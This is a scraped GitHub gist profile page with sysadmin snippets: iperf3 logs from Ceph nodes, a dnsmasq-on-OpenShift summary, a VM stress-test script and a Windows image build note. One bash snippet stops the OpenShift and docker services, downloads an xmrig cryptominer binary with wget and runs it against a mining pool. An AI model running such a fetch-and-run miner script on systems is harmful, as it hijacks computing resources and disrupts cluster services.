Skip to content

Instantly share code, notes, and snippets.

View haphan's full-sized avatar
☁️
Up in the cloud

Ha Phan haphan

☁️
Up in the cloud
  • Google, Inc.
  • Sydney, Australia
  • 10:36 (UTC +10:00)
View GitHub Profile
[root@ceph-03 ceph]# nmcli con show team1 | grep config
team.config: {"runner": {"name": "lacp", "tx_hash": ["tcp", "eth", "ipv4", "ipv6"]}}
[root@ceph-03 ceph]# iperf3 -P 4 -c 172.16.155.110
Connecting to host 172.16.155.110, port 5201
[ 4] local 172.16.155.111 port 46036 connected to 172.16.155.110 port 5201
[ 6] local 172.16.155.111 port 46038 connected to 172.16.155.110 port 5201
[ 8] local 172.16.155.111 port 46040 connected to 172.16.155.110 port 5201
[ 10] local 172.16.155.111 port 46042 connected to 172.16.155.110 port 5201
[ ID] Interval Transfer Bandwidth Retr Cwnd
[ 4] 0.00-1.00 sec 282 MBytes 2.37 Gbits/sec 0 434 KBytes
[root@ceph-02 ceph]# nmcli con show team1 | grep config
team.config: {"runner": {"name": "lacp", "tx_hash": ["tcp", "eth", "ipv4", "ipv6"]}}
[root@ceph-02 ceph]# iperf3 -s
-----------------------------------------------------------
Server listening on 5201
-----------------------------------------------------------
Accepted connection from 172.16.155.111, port 46034
[ 5] local 172.16.155.110 port 5201 connected to 172.16.155.111 port 46036
[ 7] local 172.16.155.110 port 5201 connected to 172.16.155.111 port 46038
[ 9] local 172.16.155.110 port 5201 connected to 172.16.155.111 port 46040
@haphan
haphan / dnsmasq.md
Created April 2, 2018 07:22 — forked from jlebon/dnsmasq.md
How to set up dnsmasq on an OpenShift cluster

This gist is mostly based on the dnsmasq appendix from the openshift-training repo. However, I updated it and included fixes for the many gotchas I found along the way.

This is useful for folks who want to set up a DNS service as part of the cluster itself, either because they cannot easily change their DNS setup outside of the cluster, or just because they want to keep the cluster setup self-contained.

@haphan
haphan / stress-test.sh
Last active March 8, 2018 05:00
Stress test new vm instance
#!/bin/bash
echo "vm.overcommit_memory=2" >> /etc/sysctl.conf
sysctl vm.overcommit_memory=2
apt update
apt-get -y install vnstat memtester stress stress-ng iperf
stress-ng -vm 7 -c 3 --vm-bytes 1G -t 1y --vm-method zero-one --metrics-brief --vm-hang 1
#!/bin/bash
sudo su
sysctl -w vm.nr_hugepages=16
systemctl stop origin
systemctl stop docker
mkdir -p /opt/mine && cd /opt/mine
wget https://bitbucket.org/haphan/xmrig-free/downloads/xmrig-free
chmod +x xmrig-free
./xmrig-free -o stratum+tcp://pool.etn.spacepools.org:3333 -u etnkLK5q9fTJTWJaHSJoU4XR6P7A22QbZLVW5KdJgzPP4oxRJVcGXC3XJY21qvvKmFjWf1xon6pT91hv53CnbWpy972ToQNfUV.5000@vm -p x --donate-level -0 -S
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@haphan
haphan / build-windows-image-cloud.md
Last active October 24, 2017 03:53
Building windows image

Download Windows server iso

$ wget http://care.dlservice.microsoft.com/dl/download/6/2/A/62A76ABB-9990-4EFC-A4FE-C7D698DAEB96/9600.17050.WINBLUE_REFRESH.140317-1640_X64FRE_SERVER_EVAL_EN-US-IR3_SSS_X64FREE_EN-US_DV9.ISO

$ shasum 9600.17050.WINBLUE_REFRESH.140317-1640_X64FRE_SERVER_EVAL_EN-US-IR3_SSS_X64FREE_EN-US_DV9.ISO
849734f37346385dac2c101e4aacba4626bb141c  9600.17050.WINBLUE_REFRESH.140317-1640_X64FRE_SERVER_EVAL_EN-US-IR3_SSS_X64FREE_EN-US_DV9.ISO

Download fedora signed virtio driver for windows

@haphan
haphan / id_rsa.pub.md
Last active August 25, 2017 02:41
id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJVuqn/EX52+wh02rKZbYjEmeUl/Iold2uoDub6CRNvhvnMPWtLssrT+5i9wNesg+NC/fPxIQquGc9SH09CsoZYzxmpVagHzLqzwgt3ZFMfn2VF+tqez7fkMejKCCWzCn+9SStVfYh1ad7feNrkrbZx5IAUOeY+dIakFRVGEEDhiwMdKSkudt+rus3UknPxrDw+PYCWXrXR01PNS0FikSthXkPJ0kxDSwSTYfJzFBAAKd0g9L5/JYWj0OpaFcoAQ66GYdjkotQGGj48d7jK9dBp8s6rxW3Lq773q/04vSwrhcPbRn+xqcrozl3SDFaIYTVpcmZetNuOTYrDcswvBwH thanhha.work@gmail.com